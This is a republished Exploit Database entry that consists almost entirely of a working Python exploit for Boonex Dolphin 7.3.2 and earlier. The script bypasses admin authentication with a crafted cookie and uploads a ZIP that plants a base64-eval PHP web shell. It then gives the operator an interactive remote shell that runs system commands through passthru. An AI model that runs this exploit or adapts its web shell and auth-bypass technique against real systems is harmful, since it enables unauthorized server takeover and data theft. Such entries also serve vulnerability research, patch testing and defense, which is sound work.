Boonex Dolphin 7.3.2 – Authentication Bypass / Remote Code Execution

Exploit Database
120 阅读

作者： 0x4148

日期： 2016-11-14
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/40756/

#!/usr/bin/env python

# -*- coding: utf-8 -*-

'''

Software : Dolphin <= 7.3.2 Auth bypass / RCE exploit

Vendor : www.boonex.com

Author : Ahmed sultan (0x4148)

Home : 0x4148.com | https://www.linkedin.com/in/0x4148

Email : 0x4148@gmail.com

Auth bypass trick credit go to Saadat Ullah

'''

import os

import sys

import urllib

import urllib2

import ssl

import base64

print "[+] Dolphin <= 7.3.2 Auth bypass / RCE exploit"

print "[+] Author : Ahmed sultan (0x4148)"

print "[+] Home : 0x4148.com\n"

if len(sys.argv)<2:

print "\nUsage : python "+sys.argv[0]+" http://HOST/path/\n"

sys.exit();

hosturl=sys.argv[1]

fields = {'csrf_token': 'Aint give a shit about csrf stuff ;)', 'submit_upload': '0x4148'}

gcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1)

def generate_http_request(fields):

lmt = '---------------------------'

crlf = '\r\n'

x4148mltprt = []

x4148mltprt.append('--' + lmt)

if fields:

for (key, value) in fields.items():

x4148mltprt.append('Content-Disposition: form-data; name="%s"' % key)

x4148mltprt.append('')

x4148mltprt.append(value)

x4148mltprt.append('--' + lmt)

x4148mltprt.append('Content-Disposition: form-data; name="module"; filename="0x4148.zip"')

x4148mltprt.append('Content-Type: application/zip')

x4148mltprt.append('')

x4148mltprt.append("PK\x03\x04\x0a\x00\x00\x00\x00\x00RanIj\xf0\xfdU1\x00\x00\x001\x00\x00\x00\x0c\x00\x00\x000x4148fo.php"

"<?php\x0d\x0aeval(base64_decode($_POST[\'0x4148\']));\x0d\x0a?>PK\x01\x02\x14\x00\x0a\x00\x00\x00\x00\x00RanIj"

"\xf0\xfdU1\x00\x00\x001\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x000x4148fo.php"

"PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00:\x00\x00\x00[\x00\x00\x00\x00\x00")

x4148mltprt.append('--' + lmt + '--')

x4148mltprt.append('')

body = crlf.join(x4148mltprt)

content_type = 'multipart/form-data; boundary=%s' % (lmt)

return content_type, body

content_type, body = generate_http_request(fields)

print " + Sending payload to "+hosturl.split("//")[1].split("/")[0]

req = urllib2.Request(hosturl+"/administration/modules.php",body)

req.add_header('User-agent', 'Mozilla 15')

req.add_header("Cookie", "memberID=1; memberPassword[]=0x4148;")

req.add_header('Referer', hosturl+"/administration/modules.php")

req.add_header('Content-Type', content_type)

req.add_header('Content-Length', str(len(body)))

req.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8')

try:

urllib2.urlopen(req,context=gcontext).read()

except urllib2.HTTPError, e:

err=e.fp.read()

print err

sys.exit()

print " * Checking if payload was send"

data = urllib.urlencode({'0x4148':'echo "0x4148foooo";'.encode('base64')})

req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)

if urllib2.urlopen(req).read().find("0x4148foooo")==-1:

print " - Exploitation failed"

print req

sys.exit()

print " + php prompt up and running\n + type 'shell' to get shell access"

while True:

request=str(raw_input("\nphp>> "))

if request=="exit":

sys.exit()

if request=="shell" or request=="cmd":

print "\n + Switched to Shell mode\n + Type 'return' to return to php prompt mode"

while True:

cmd=str(raw_input("\n0x4148@"+hosturl.split("//")[1].split("/")[0]+"# "))

if cmd=="return":

break

if cmd=="exit":

sys.exit()

kkk="passthru('"+cmd+"');"

data = urllib.urlencode({'0x4148':kkk.encode('base64')})

req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)

print urllib2.urlopen(req).read()

data = urllib.urlencode({'0x4148':request.encode('base64')})

req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)

print urllib2.urlopen(req).read()